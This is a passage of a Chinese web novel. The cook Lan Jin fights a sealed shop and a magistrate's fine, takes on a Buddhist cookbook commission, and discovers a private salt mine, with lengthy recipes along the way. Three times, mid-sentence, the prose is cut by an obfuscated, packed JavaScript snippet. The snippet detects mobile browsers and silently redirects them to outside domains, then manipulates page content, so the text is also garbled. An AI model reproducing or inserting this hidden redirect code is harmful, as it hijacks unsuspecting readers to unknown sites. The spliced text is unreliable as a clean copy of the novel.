“我今晚不过略露几手，便引得好评不断，连白日间嗤之以鼻的客人都灰溜溜地被勾来了，赞不绝口的。” “做饮食行当，一时的钻营只能获得短期的利益，长远屹立不倒还是要依靠菜品本身。我就是那种能做出美味佳肴的大厨呀。” “她在正经做菜方面胜我不得，不正说明我踩住了她的痛脚，而她完全没掌握饮食行当的关键吗？” “只要我的手艺在，客人在，她不就是徒劳无功吗？我们终究是为了奔向自己的目标，不能叫爱争斗的小人拉进他们的泥淖。” 两小只仍是郁郁，霍旭云心疼地把小秋搂在怀里，拿帕子给她擦四处奔忙出来的额间的汗： “给我们小秋也委屈坏了吧。” 小秋拿小嫩手大气一抹，坚持道：“不怕，我们很强大。” 几人相对笑了。 待人群散去，小秋睡着了，蓝锦一个人坐在灶间久久不动。 她衣衫单薄，双手有些发颤。不单纯是累的，也不是怕的。 蓝锦问自己：“这次我摆平了，下次呢，以后呢？” 摆平了一次，不代表安全。 蓝锦抬头望着窗外的浓黑夜色，有鸟雀喑哑地叫着划过暗影一般的枝头，月凉如水。 蓝锦心中明白，这并不是最终局。 她唯有变得更强大。 果然，意外又不意外地，早早醒来的蓝锦在店门上看到了封条。 县衙的封条。白底黑字的纸条子，被风吹得噼啪作响，像是不分青红皂白地给她盖棺定论。 蓝锦站在贴了封条的蓝记饮食店门口，伫立了良久。 玩闹的孩童还未出门，街道空荡荡的，只有两根封条在凉风里喧嚷。 21. 双莲映月糕 蓝锦像往常一样，拿红头绳给小秋扎了两根小辫子，语笑晏晏地送她出门往书院去了。 她自己也有条不紊地用过朝食，把家中涉及食店卫生、食品安全的证明文书都带上，一个人往县衙去了。 赶巧，门口接待她的正是昨夜在蓝记饮食店吃排骨炖豆角的月牙眼差役。 “这不是蓝记的老板吗？你家那烧排骨，滋味真是绝啦。我昨夜做梦都还在吃呐。” 蓝锦温和一笑：“正是来说这件事，家中小店不知缘由地给人贴了封条，前无文书，后无知会，担心是无知歹人冒充县衙行事。” “故来大人这里问个究竟。差爷能否行个方便，替我通报一声。” 月牙眼干脆地应了，使人去里面通报。 等蓝锦见到卢县令时，他正吊儿郎当地呷着自个的乌龙茶，用那轻浮的公鸭嗓子叫开了。 “什么事啊？” 蓝锦不卑不亢，如是重复了一遍。 “嘿，哪来的在这胡说八道啊。萧掌柜人家有理有据，她店里的客人就是刚吃了你家的菜，这才面色发白，倒地不起。” “限你七日之内，上缴二百两银子的罚银，否则，店铺资产一率充公抵债。” “从今天起，这县城里的所有铺子，都不许你去买货。不能要你再有糟蹋粮食，做菜害人的机会。否则，都是你的同伙，一并查封。” 这是叫她揭不开锅，断了财路，好灰溜溜地滚出昭应城。 蓝锦眉头一挑，眼神冷冷地把在场的差役们挨个扫过，和一个明显在一旁看笑话，贼眉鼠眼的厮波。 县衙的大堂门并未关，外头已经聚起来三三两两的过路客。 “二百两银子的罚银？哪一个客人倒地不起？不如请萧掌柜把那人请过来，我出钱，当堂给他请大夫。” “让大家清清楚楚地知道，他吃了我家哪道菜，怎么一到了天香楼，就倒地不起了？” “按她说的，人是晕在天香楼，怎么反倒算到我蓝记的头上？” “天香楼真是好心，要我说，大家也别上工了，都去她家门口，往地下一躺，就是二百两银子耶。” 蓝锦讪笑一声： “若是我在这公堂倒地不起了，是不是大人也出二百两的罚银？才合你的规矩呢。” 县令一拍惊堂木：“大胆！你，你满口雌黄。总归，银子拿来，否则限期一到，定把你赶出这昭应城。” 众人议论纷纷。蓝锦被差役推搡出门，拍拍衣衫，朗声道： “诸位乡亲父老，大家都看到了，小店莫名被封，交不上银子吃不上饭，这是断我生路啊。” “我家店内有新鲜食材，大放血，低价出售，只为求条活路！大家跟我来。” 人群眼睛中射出捡便宜的绿光。浩浩荡荡地一路随蓝锦回家了。 路上不断有人被吸引加入，由是这队伍就跟后世排队抢鸡蛋似的。 一时蓝记饮食店的遭遇也被传了个七七八八。 蓝锦拖出几个大筐大瓮，当众收拾，把顶着露水的果蔬，鲜红白净的肉类，米面粮油，一一过秤，个个贴上了价签。 价格透明得恨不得细化到一颗面粉末，还按品质分了三六九等，价格也各有不同，绝不掺杂。 如此赢得了不少居民的好感。尤其是附近的人家，他们天天闻蓝记的饭菜香味，能感觉不出来她家实在不实在吗？ 哪怕是不熟悉的人家，也不禁自问，要真是奸商，能那么坦荡地清点食材，良心出售吗？ 蓝锦窝在里屋，仔细数着自己的小金库，满打满算不过十九两银子。 这还是加上了连老夫人的赏银。 蓝锦把连老夫人那里赏的物什拿去当铺当了，死当，九两银。 她犹豫了一下，把山坳里捡来的玉佩当了活当。 万一它有什么危险呢……流落出去，要是有仇家顺着这个身份线索上门寻她的仇…… 尚未弄清，日后有了机会，还是赎回来，先把持在自己手中比较好。 活当，二十两。如是，一共也只不过二十九两。 加上她手中的，共有四十八两银子。 这已经相当可观，只是比起二百两还杯水车薪。 小秋那里，倒是有她的娘亲给缝进衣衫边缝里的小银锞子，约莫二三两。一对银的小脚镯，实心的。 那应当是慈母一辈子仅剩的积蓄，只来得及在弥留之际，用尽可能细密的针脚，挣扎着给女儿藏好。 她心里该多么绝望和不舍。蓝锦不忍心拆它，也不愿意动小妹的傍身银。 不放心把银子放进家中——房舍也是赁来的，且不知道对手还能使什么花招。 蓝锦低调地换了银票，珍惜地贴身藏进小衣里。 收拾了自己的仪容，在可能范围内尽量显得光鲜精神，拿着云家的拜帖去登门拜访连老夫人。 眼下的局面，她唯有抓住连老夫人的嘉飨宴，方有一搏之机。 云家的门房，待人接物透着一股如沐春风的轻松。 他们不一定没听说天香楼和蓝记的闹剧，却神色如常，只比上回更加热情地把蓝锦请了进去。 穿回廊，过东墙，蓝锦坐在连松琦小院的厅堂，一边喝茶，一边神态自若地候着主人家。 连松琦来得很快，只是未等蓝锦开口，一见面就说道： “蓝小娘子，只怕叫你失望了，我并不再打算办嘉飨宴。” “早在天香楼来拜访云家之前，我已觉不耐。加上要宴请的贵客突然有事要办，回了天都。” “萧掌柜以宴客资格作赌资，并不是来找我商定的，而是找的望儿她爹。” “她以为云家只有男人说得上话？未免太过老道学！” “云战宜那小子懂什么饮食宴飨，才不擅长。他单听说最好的酒楼，最大的比赛，二话不说就应下了。” 连松琦示意程妈妈端过来一张攒花洒金的帖子，又开口道： “我并非信不过小娘子的手艺，只是我本不爱闹哄哄的。你去慈明寺找这位明夫人，她想必正巧有需要你之处。” 蓝锦再三谢过。程妈妈送她出门，末了笑容可掬地递给她一枚绣工精致的香囊。 “蓝小娘子收下吧。家里的风俗，夏末秋凉时节，人人都有的。里面有合欢皮，酸枣仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090789|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，黄菊花，安枕的。” 蓝锦再次谢过，心中也是熨帖。 出了门，雇了一辆车，就马不停蹄地往慈明寺赶去。 摇摇晃晃的马车里，蓝锦埋头深嗅一口清幽的香囊，怦怦的心跳逐渐缓和。 却捏着这香囊硬得扎手，有些许不自然。 蓝锦好奇地打开，这才发现掺在合欢皮、酸枣仁之中的，是好些片金叶子。 蓝锦一片片拈出来，抖干净碎渣，放在手里掂了掂分量。若不出意外，足有五两金。 蓝锦鼻头酸酸的。 不管真是家里人人都有的，顺手送了她一个；还是格外照顾她的自尊心，借由这样婉转的方式帮她。 同样是女性长辈，缘何连老夫人她们，比萧曼娘好上这许多…… 蓝锦仰着头，小青蛙一样大口大口吸着冷冷的空气，不叫自己的鼻子再酸下去。 已经想明白了不再会为任何痛苦掉泪，为何感受到善意却还是这么想哭哭呢？ 慈明寺建在半山腰上，不同于更靠近乡村的娘娘庙，明显更加气象宏阔，金瓦朱墙，一派肃穆。 蓝锦虔诚地与门口的小师父行礼，递上拜帖，说了来意。 不料小师父向她一揖：“施主来得不巧，今日书院出小考结果，故而明夫人下山了。施主若有事，或可入寺等候。” 蓝锦一愣，想起霍旭云说过，霍鸿飞霍娘子的闺阁交，正住在慈明寺。 “是川流书院？” “正是，明夫人新近做了书院山长。” 蓝锦颔首谢过他，由人引着去客院等候了。 明翊风风火火地闯进客院时，蓝锦正在小口小口地吃慈明寺的松叶糕。 入口清香，绵软回甘，很好吃。 明翊大步走上前来，一拍蓝锦的肩膀：“蓝老板，松琦叫你来找我的？” 蓝锦给她小小地惊了一跳，忙站起身，搁下茶点，边抚着差点呛到的胸口，边道：“正是，明夫人好。连老夫人说，您有需要我的地方。” 明翊坐都来不及坐下，拉着蓝锦的手去了斋房： “若叫你做一道养精神、健脾胃的素点，你怎么做？” 蓝锦看看斋房里的食材，沉思片刻，动作起来。 先把莲子洗净煮软。再把山药去皮，红枣、山楂去核，全都蒸上。 软烂的莲子去芯压碎，做成鹅黄色的莲蓉。山药、红枣、山楂皆捣成泥。 莲子和山药各自掺了砂糖、糯米粉，揉成鹅黄和雪白的团子。 红枣和山楂掺了蜂蜜，揉成一个个小球。 用那莲蓉团子裹了枣泥馅，山药团子裹了山楂馅，揉圆了之后，两团拼在一起，按到慈明寺中秋节时做月饼的模子里。 倒出来一看，像是一轮由浓转淡的圆月，一半鹅黄，一半素白。 是一口咬上去，甜甜的、冷冷的，像冰凌子一样的，把仙宫的寒都含进了嘴里，敲得牙齿叮咚响的圆月。 “双莲映月糕，请明夫人赏鉴。” 明翊拈起一枚糕点，爱不释手地把玩。 “妙啊，蓝老板。从前没见过，这是你现想的？” 22. 卤汁肉夹馍 蓝锦大大方方地点点头：“确实是看到食材现琢磨的。” “香甜糕点背后的原理大多相似，只要谙熟食材性质，合理搭配，色香味都有顾及，变幻的花样会更勾人食欲。” 明翊刚咬了一口糕点，左酸右甜，复合的香味充斥了口腔，叫平素腻口的糕团清新可人。 听罢把映月糕一放，一拊掌，哈哈大笑起来： “蓝老板果然是个伶俐剔透的妙人，难怪松琦要荐你来给我写书呢！” “写书？”蓝锦吃了一惊，“明夫人说我吗？” “正是，正是”，明翊嘴角翘起，“别叫我劳什子明夫人了，叫我明翊，要不，叫我翊姐姐。” 明翊把脸凑近了蓝锦面庞，存了心逗她。 “噢，噢，好的，翊姐姐。”蓝锦缩着小脑袋，“我只是个厨子，也不懂怎么写书，佛家的事就更不懂了。” 明翊满不在乎地一拂手：“怎么会，我看蓝老板你做事条理清晰，脑袋灵光。知其然，又思其所以然。在饮食一道上颇有见地，最适合写食经了。” 蓝锦奇道：“竟是要以食入经？” “古有撰《茶经》的陆羽，如今怎么不能有写《食经》的蓝锦了？他们僧人爱喝茶，我们僧人还爱饮食呢。” 明翊拉着蓝锦回厅堂坐下，细细同她说了自己对这本书的细节构想。 蓝锦也在一旁试探着提了许多自己的看法，叫明翊很是激动满意。 “编一本合于养生之道的佛门饮食方，从我是闺阁女儿时就起意了。但是我只会吃，不会写，也不懂烹调嘛！” “后来好容易找到又爱养生，又爱写诗，又好美食的松琦，她却不喜佛教，又顶怕烦扰，说什么也不愿自己笔墨叫世人观瞻。” “我说要她署个假名不就得了，她却说，‘麻烦，麻烦，折寿’，只应下帮我寻人。我就知道她不耐交际，又懒惰！” 蓝锦：“……” 直呼其名就罢了，这样说长辈的坏话是可以的嘛…… “还好，算她有良心，给我找到了人。不枉吃了我这里许多素斋！” “小娘子你不讨厌佛祖吧？” 蓝锦，噢噢，她不讨厌钱。 蓝锦委婉又迂回，迂回又委婉地旁敲侧击了一下薪资。 明翊一拍大腿：“为了小明翊儿时的梦想，我出一百两雇小娘子来写。” “只这卷卷我都要审看，我很严格的，若连我都说服不了，那定是不能问世，要改的。”明翊严肃道。 “而且书名我也想好了很久，得叫《梵香斋馔录》。” 蓝锦：夺少？？ 蓝锦：立刻应下。 别说书名了，就是署名也改成只有明翊，她也一百个愿意啊！ 两人就书中内容框架推敲商议良久，还用了素斋，聊得很是投契。 最后定下主要写寺院素斋、节庆佛供和药膳、茶点，由明翊提供走访搜集到的资料，蓝锦筛选、复原、实现抑或创造食方，笺注功用心得。 若是编成，也是一本煌煌巨著了！ 二人相携出了寺门，明翊恋恋不舍地送蓝锦下山去了。 虽然这笔钱还没有拿到手，但蓝锦心下大安，总算是为自己寻来一个可能了。 也对明翊极其佩服。黄金罍，白玉杯，她信手抛下。 为着心之所好，甘愿花精力，投心血。 女学也是，食经也是。 蓝锦归家，先去了灶间。无论何时她都不会误了一日三餐，一晚整觉。 这是爱自己最好的方式。 今天还要给自己狠狠地补一顿。蓝锦舀了一大块卤肉，切剁成碎，夹到了外酥里嫩的馍馍中。 塞得满当当的，还浇了一勺卤汁。 把几个肉夹馍用油纸包了，往怀里一揣，蓝锦独个儿鬼鬼祟祟地出了门。 是了，她要跟踪萧曼娘。而悟雅，早就被她派去远远盯着卢县令的举止了。 知己知彼，百战不殆。 蓝锦蹲守在天香楼之外，耐心地观察萧曼娘的行迹。她还是爱待在二楼的厢房，看着像在盘账。 一直等到天擦黑了，竟发现悟雅也来到自己身边。 “蓝姐姐，狗县令缩了一天，撇下旁人来天香楼了。” 蓝锦点点头，表示知道了，二人安静地一起盯着。 卢县令进了厢房，厢房的窗户立刻关上了。没过多久，一个满身灰尘的杂役低着头，缩着手脚，一副目不斜视的样子，钻进了天香楼。 蓝锦直觉不对，指着那道灰影，对悟雅说：“悟雅，你先去对面守着，待他一出门，悄悄跟着，看他往哪去。” 悟雅应了，蓝锦紧张地继续盯着厢房，没过多久，房中陡然传出一声尖锐的瓷器碎裂声。 约莫过了一炷香，见方才那个灰影极快地跑出门去。悟雅手长腿长，装作浑不在意地大步跟上了。 蓝锦耐心候着，又过了一盏茶的功夫，卢县令才低调地出门，虽低着头，能看出满脸晦气。 蓝锦知道天香楼和县衙之间一定有事。否则就凭一个遥远的萧字，能支使着地头蛇唯命是从，连鸡毛蒜皮的小事都管？ 蓝锦看见厢房的窗户重又开了，忖度着这边没什么新动静，于是便朝着悟雅离开的方向赶过去。 蓝锦沿城西的大道一直赶路，直到出了城门，走到一座小丘，方发现了气喘吁吁往回赶的悟雅。 “小娘子，他进山了。”悟雅接过蓝锦递来的水壶，咕嘟咕嘟一大口。 “他头发散了，耳侧还有红掌印。一看就是刚被人打的。” “山里安静，我没敢紧追，远远地记了他走的方位。” 悟雅拿个树杈，就地画了出来。 蓝锦过目不忘，仔细地看了，记在心里： “看样子是进深山了，今日天色晚了，进山危险。不急，我们日后再来探查。” 二人往城里走，在城门口的一家茶铺坐下，要了两碗粗茶。 蓝锦把怀里的几个肉夹馍分一半给悟雅。 悟雅也是饿极了，一拿到手，就狠狠地连咬好几口。 肉香扎实，每一根肉丝都被浸透了卤汁子。饶是现下已是温的，那股子霸道的荤香不改其味。 酥酥嫩嫩的饼皮，内层吸饱了肉汁的滋味。白色的馍馍微微转褐，搭配上深酱红的卤肉，很诱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090790|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 卤肉切得细碎，肥的瘦的比例正好，相得益彰。吃起来不柴不腻，油香满口，而且还软烂多汁。 每个肉夹馍都被蓝锦装得满满当当，张大了嘴一咬，肉块从嘴角两边几乎挣扎着窜出来。 悟雅拼命用嘴去裹溜号的肉块，一丝肉汁子都不舍得放过。 在嘴里越嚼越香。馍馍脆韧，有面食的馨香；卤肉咸鲜，是大荤之物的肉香。两种香味混合在一起，一直香到了胃里。 牙齿拦着，锁着，和肉夹馍打着架。舌头吮着，舔着，和荤香气难舍难分。 几个肉夹馍下肚，胃里踏踏实实地得到了抚慰。好像一天的疲乏都被赶跑了。 悟雅舒舒服服地长叹一口气，学着小娘子的口气：“吃上此等美食，就做神仙也不换。” 蓝锦附和：“是了是了，等我下回见到太白星君，就说我们家悟雅看不上，绝不会跟你走的。” 悟雅很骄傲：“那当然，我一定跟着小娘子。餐风饮露的，那有什么稀奇，馋也馋坏了。” 蓝锦像只大猫咪被挠到了痒处，笑得眼角弯弯。 却说萧曼娘这边，也调查起了蓝锦。得知人去过当铺，倒是惊讶，被吸引住了目光： “哟，她还能有什么家私？” 探子一五一十地描述了，转头又迫了当铺老板，拿来一一给萧曼娘看了。 “这几件都是昭应城里常有的样式，没甚稀奇，倒是这一件”，萧曼娘拿起那块活当了二十两的玉佩，反复把玩。 姿态写意，不是传统死板的谨守规制的行活，倒像是某个大家一时兴起的雕琢。 “不像是小县城里的东西，有点意思，都去查查吧。” 探子皆领命下去，全力去查玉佩的样式和来处。如是倒让初涉跟踪领域的蓝锦二人钻了空子。 蓝锦风尘仆仆地归了家，正好赶上霍旭云和云江望准时报道。 同样是三言两语、轻描淡写地回答了封条和县衙风波，又说了自己的应对，话锋一转： “我今日，见着你们的山长了呢！” 霍旭云紧张兮兮地说：“哪个山长，是我娘还是明山长？” “自然是明山长，她给我找了一宗撰写食经的活，很是温和可亲，解了我的燃眉之急呀。” 霍旭云双手捧腮，云江望手捂胸口，同时发出“啊啊啊啊啊”的大叫。 “你们怎么啦？”蓝锦不知自己说的什么触动了开关。 “可亲？！她在我们面前可不是这样子！”霍旭云几乎弹跳起来。 “她都是这样说话的——”云江望已经拿腔拿调地模仿了起来。 “你们啊，是我带过最差的一届！” “山长，可我们是第一届啊……” “这还多亏了你们啊，不用带其他届，我都能知道什么是最差的一届了。” 霍旭云又加入： “果然是心怀家国天下的小娘子啊，书院里研究经义，菜场里体察民情，食肆里高谈阔论。” “这才是真正的经世致用！在我这里屈就，我都替你们委屈。” 被阴阳怪气无差别攻击的学生：萎缩，坚强…… 23. 豪华螺蛳粉 天朗气清，风卷云舒，蓝天白云，是格外好的天气。 蓝锦做了好几大张馅饼，和悟雅一人一半揣在怀里，两人一道，探头探脑地出了城。 因是冒着风险的行程，蓝锦心心念念着报信人，把自家小白狗抱在怀里。 小狗越发长了块头，或许一改从前做闺中宠物的娇养环境，整日在巷陌里撒丫子跑跳，食量一日比一日大。 整日招猫逗狗，最爱往漂亮女娘身边撒娇讨巧，央人陪自己玩耍。 身上的腱子肉线条愈发明晰，她自己也是一个漂亮的狗狗女娘。 现下正耸着小鼻子，肚腹一下一下起伏，哈着温热的鼻息，暖着蓝锦的怀抱。 两人一狗没敢贸然去往深处，东拐西绕，逐渐逼近那个杂役消失的方位。 如是锲而不舍地接连去了三天，蓝锦和悟雅终于摸明白了那人消失的所在。 夕阳低垂，山间偶尔有几声凄厉的鸦啼，是返巢的鸟。 寒气从足底侵袭肌骨，簌簌的踩踏碎枝落叶的声音，分不清是自己发出来的，还是有什么不明生物。 蓝锦轻手轻脚，目光越过陡壁。赫然一处大山坳，里面有黑压压的人群！正蚂蚁搬家一样地凿凿运运。 蓝锦按着悟雅的脑袋，两人一狗倏地一下矮下身子。 正在这时，蓝锦的肩头突然叫人轻轻一拍！ 她心脏骤停，毛骨悚然，一下定住了。 缓缓回头去看，竟是多日不见的萧仁禹。 蓝锦长舒了一口气：“你怎么在这？不知道人吓人，吓死人吗？” 萧仁禹目光闪烁，反问道：“你们孤身涉险，想过小秋怎么办吗？” 蓝锦低声却坚定地举起小狗：“还有她呐！” 萧仁禹：“……” “再说了，我们悟雅很能打的。” 悟雅闻言一撸袖子，扬了扬自己养得更壮的肌肉，给蓝锦撑场子。 萧仁禹：“……” 萧仁禹：“此地不宜久留，回去再说。” 蓝锦坐在蓝记饮食店内，手执白瓷杯，喝红豆薏仁茶的时候，神思还有点恍惚。 自己和悟雅，是被人一手拎着一个，信步飞回来的！ 就跟孙猴子乘筋斗云，腾云驾雾一般。 蓝锦见了有史以来最多的屋顶，近距离接触的那种。 蓝锦觉得自己好像化身无人机！ 这就是传说中的轻功吗？叫她碰上真的了！ 萧仁禹虽神情严肃，语气却是轻柔：“你们怎么会去那里？” 蓝锦只反问：“你又为什么会去那里？” 萧仁禹沉默片刻，终于诚实地答道：“因为我跟踪你们。” 蓝锦：“……” 悟雅：“……” “你不会真跟那个天香楼掌柜是一家的吧？” “不。不过认真算起来，她家祖上是我们家远亲的旁支，很远很远。” 蓝锦反应过来：“你，你出身天都萧家？” 萧仁禹一顿：“是。我家也是小小旁支，稍微近一点的那种。” 蓝锦：“噢，噢，好的。” 心里却想，那你跟萧曼娘也没什么大差别嘛，都是枝枝杈杈，论什么祖先呢。 萧仁禹状似随意地问道：“你们在山里都看到了什么？” 蓝锦严肃了起来：“有很多民夫，有人背着筐，有人拿着锤凿。” “从未见过昭应乃至其周边有官方矿产的邸报，一定是有人私下开矿冶炼，说不得和兵器有什么勾连！” 悟雅忙补充道：“跟黑心县令和天香楼逃不开干系，我们就是跟着他们的人找到的。” 萧仁禹皱了皱眉头：“不是金属矿，倒像是井矿盐。” 蓝锦沉下心来回忆，果然记起一股臭乎乎的盐卤气味，山坳那边的温度，也比其他地方要高一些，像是有人用传统人工法子煮盐。 “那就是私盐矿了，天香楼果然大胆。堂堂一县之长，也这么不知所谓。” 萧仁禹踌躇一下，问道：“你打算怎么办？” 蓝锦没有直接回答，反而问他：“你这几日不在昭应城吗？回天都家里了？” 萧仁禹：“嗯，有些事情要办，也想查查萧曼娘和我……和天都萧氏有什么关系。” “查出些什么了？” “昭应萧家往天都萧氏一个旁支——不是我家那个——常年奉送大量的节礼，不知缘由，也不知来源。” “萧曼娘的祖父萧老太爷，名下的土地逐年扩张，如今业已勾连成片，城郊可以耕种的良田，超过七成都是萧家产业。” 蓝锦讶然，原以为萧家只靠饮食业赚点钱财，谁承想，竟是侵吞土地，害人家小，无恶不为啊。 少不得还有强征民工，私采盐矿，贩卖私盐！ 应对这事还需周密的安排，故而蓝锦又暂时抛到脑后。站起身，搓搓手——到吃饭的时间了。 蓝锦囤食材的毛病并不因为县衙和天香楼的围追堵截受到影响，所以蓝记饮食店内还有许多新鲜的或半制成的食物。 完全够她吃一顿豪华大餐。今天她决定，吃豪华螺蛳粉。 先不急着煮粉，而是准备螺蛳粉可以搭配的调料。 新鲜的猪网油，裹上调过味的猪肉、葱和香菇，攥成一个个小球。 下油锅呲呲啦啦地炸过，又放进卤水里卤过，现下又被蓝锦拿出来复炸，直至形成焦脆油亮的深褐色外壳。 这锅油并没有被浪费，又被拿来炸猪皮，炸腐皮，炸蛋。 原先光滑洁白的猪皮一进滚烫的油锅，就鼓起了大泡，刺啦刺啦地变成淡淡的黄色。 腐皮也是一受刺激就“嘭”地炸开，边缘变得格外焦脆金黄，豆制品的香味在荤油的激发下变得更加诱人。 更不要说那经过两次炸制的炸蛋了，整个蓬得像个圆滚滚的小被子。蛋丝纤细如发，孔洞蓬松，蛋香四溢，在冒着泡的油锅中不断长大。 蓝锦取一勺这吸足滋味的热油，煎了几个完美如太阳般的荷包蛋。 边缘焦香，中心软嫩，只怕一夹开还是溏心的。 蓝锦打开一口装满卤汁的大锅，异香扑鼻。拿大勺和长筷有条不紊地捞出豆泡、薄卤豆干、卤牛腩块、卤鸭肠、卤鸭脚和卤蛋。 再挨个给碗里浇上深红色的、油汪汪的卤汤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090791|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>之前吊好的猪骨高汤一直热热地咕嘟着，蓝锦一边煮粉，一边舀一勺刚才的荤油炒腌好的猪肉末。 看到米粉变粗了，便捞出来过了凉水，泡在冷水里。 捞出坛子里的酸豆角、酸萝卜，切成小粒。又把酸笋切丝，姜蒜切片。 起个油锅，把自家腌的泡椒、酸笋丝，以及各色香料调料一股脑扔进去，刺啦啦地爆香。 扔进悟雅剪好了尾的田螺，热闹非凡地用大火翻炒。 看到加的调料味道融合得差不多了，盖上锅盖小火焖着，通过嗅觉去体会成色。 及至掀开锅盖，螺肉别样的鲜味被完全勾出来，蓝锦最后调味翻匀，把这一锅田螺都倒进那锅猪骨高汤里。 不同肉类脂肪混合在一起，这本身就是极致的鲜味。尤其是做粉类这样容易吸味的美食，更适宜运用这一原则。 蓝锦拿空心菜和米粉略微过水一烫，盘进家里最大的吃饭碗中。 想着云江望和霍旭云就要下学，也做了她们的份。 舀上几勺烫烫的、带着红油的高汤，浇进撒了炸腐皮的米粉碗里。 蓝锦拿着一个大托盘，悟雅跟在后面也端着一个，笑容满面地把这碗集天地之精华的豪华螺蛳粉送上了餐桌。 只见一碗又一碗香味扑鼻、卤汁红亮的卤味一字排开，这还没完，另有炸花生、葱花、香菜、酸豆角、酸萝卜…… 蓝锦松弛地坐下，招呼大家随意加自己爱吃的小料。 蓝锦自己这一碗加了海量酸豆角，还有猪肉末，牛腩块，炸猪皮，炸蛋和卤鸭脚。 一口高汤喝下去，不臭不冲，只是鲜！鲜得很！ 鸭脚卤过煮过，轻轻一碰一嗦，皱皱的虎皮直接就滑落了。 炸蛋和炸猪皮无一例外是吸汁吸味那一挂的，一口咬下去，汤汁满口，辣得过瘾，鲜得发抖。 在场的诸位无一不是吃得鼻尖冒汗，小嘴油亮，还在一口一口喝那鲜掉眉毛的高汤，一点都停不下来。 几人吃得肚子浑圆，似乎完全忘了说要商讨一下怎么对待私盐矿的事。 夜逐渐深了，萧仁禹站在阴影里，和大家一起度过了最初的晕碳期，他还在蓝记饮食店周边徘徊。 这里彷佛有什么魔力，不知是吃辣带来的大汗淋漓，还是和一群不顾身份距离的食客，东倒西歪地大快朵颐带来的影响，他总是感到很放松。 他低下头，慢慢摩挲着什么。 萧曼娘拿走的那枚玉佩，赫然出现在了他手中。 事情要说回几天前，他回天都，并没有回家中。 而是将行迹暗暗掩藏，独自查访昭应萧氏仗着萧姓旗号大肆施为的底气。 正碰上从县里逐层传递查访的玉佩纹样图。 萧仁禹当即知道，蓝记饮食店一定出了事。 他略一查探，故技重施，轻轻松松地把那枚玉佩偷走了。 偷走了。 走了。 只是那张纹样图，到底流入了萧氏主家的手中，由此引来萧老太君顺藤摸瓜地寻人，就是后话了。 萧仁禹把玉佩收回怀中，皱起眉头。 昭应萧家到底在干什么…… 24. 红烧牛尾骨 蓝锦对于井矿盐这事虽然不满，却也并没有多惊讶。 自来这些世家豪族，不管是多么小的地界的豪族，都会游走在灰色地带—— 他们有更多的权力支配资源、利用规则。 只是这种淡定在萧仁禹带来井矿盐周边发现大量民夫尸骸的消息时，终于变成坐不住了。 “什么？他们还干这么黑心的事？驱使牟利不够，还杀人？” “恐怕一开始，是因为过度劳累的自然死亡，不，是因人祸死亡；后来，才是为了封锁消息，镇压骚乱。” 萧仁禹顿了顿：“被抛弃的尸骸中，还有女人和孩子。据时间推算，不是最后罹难的那批。” 蓝锦几乎出离愤怒了，她马上想到：“这和之前那段时间，男女皆役的条令有没有关系？” 萧仁禹讶然地挑了挑眉：“你居然知道这事。” 蓝锦失落地说：“小秋的父母……我大伯和伯娘，就是因此而去世的。” 萧仁禹的情绪明显低落了下去：“抱歉……” “这件事并未经过大肆宣扬。不仅上面有力地矫正强压了下去，很多逆来顺受的村落也只当是正常的，只默默顺从了。” 蓝锦仍是不解：“这件事不是只施行了三五天，就被强力更改了吗？怎么会有这么大的影响？” 萧仁禹按了按眉心：“没那么容易，政令下达，大多数被征役的地方反应没那么快。” “即使知道了消息，也不敢贸然召回服役的人。只怕又是朝令夕改，做多错多。” “总之这些人命，对那些掌握了哪怕一点权力的人来说，也不太要紧。对不对？”蓝锦反应很快。 萧仁禹不作声，点了点头。 “如此，又没有善后和追责的明确条令下达，这事就这样不了了之了，对吗？”蓝锦又问道。 萧仁禹接着点头：“我想很多地方大概都是这样反应的。” 蓝锦换了一个角度：“这件事情前后，牵涉的地方有没有徭役死亡率陡升的事情？” 萧仁禹刚刚调查过昭应萧氏，对昭应县的各类数据刚巧了解，回答道： “确有此事。统计政令发出、乃至矫正前后，徭役死亡比例陡升，是之前的三倍，这和最新的人丁统计数目正对上。” 蓝锦沉默片刻，盯着双手：“或许多出来的不是那时死亡的。或许他们早就罹难，那时才被报上去。” “或许他们没有死亡，被绝望地困在了私盐矿……最终可能也是一死。” 萧仁禹没说话，目光定定地看着蓝锦。 蓝锦却又转换了话题：“萧公子，既然没有经过大肆宣扬，为何你对这些事情这么清楚？” 萧仁禹迟疑了一下，方开口道：“其实……我们家有人在吏部做小吏。” 蓝锦疑道：“小吏所知消息，范围这么深广？” 萧仁禹面不改色：“是的，是那种抄录文书的小吏。天都邸报，你不也常在店里看吗？” 蓝锦倒是收了声，又总结道：“如此，私盐矿牵涉人命，不是赚一点脏钱这种程度的事了。我们要尽快动手。” 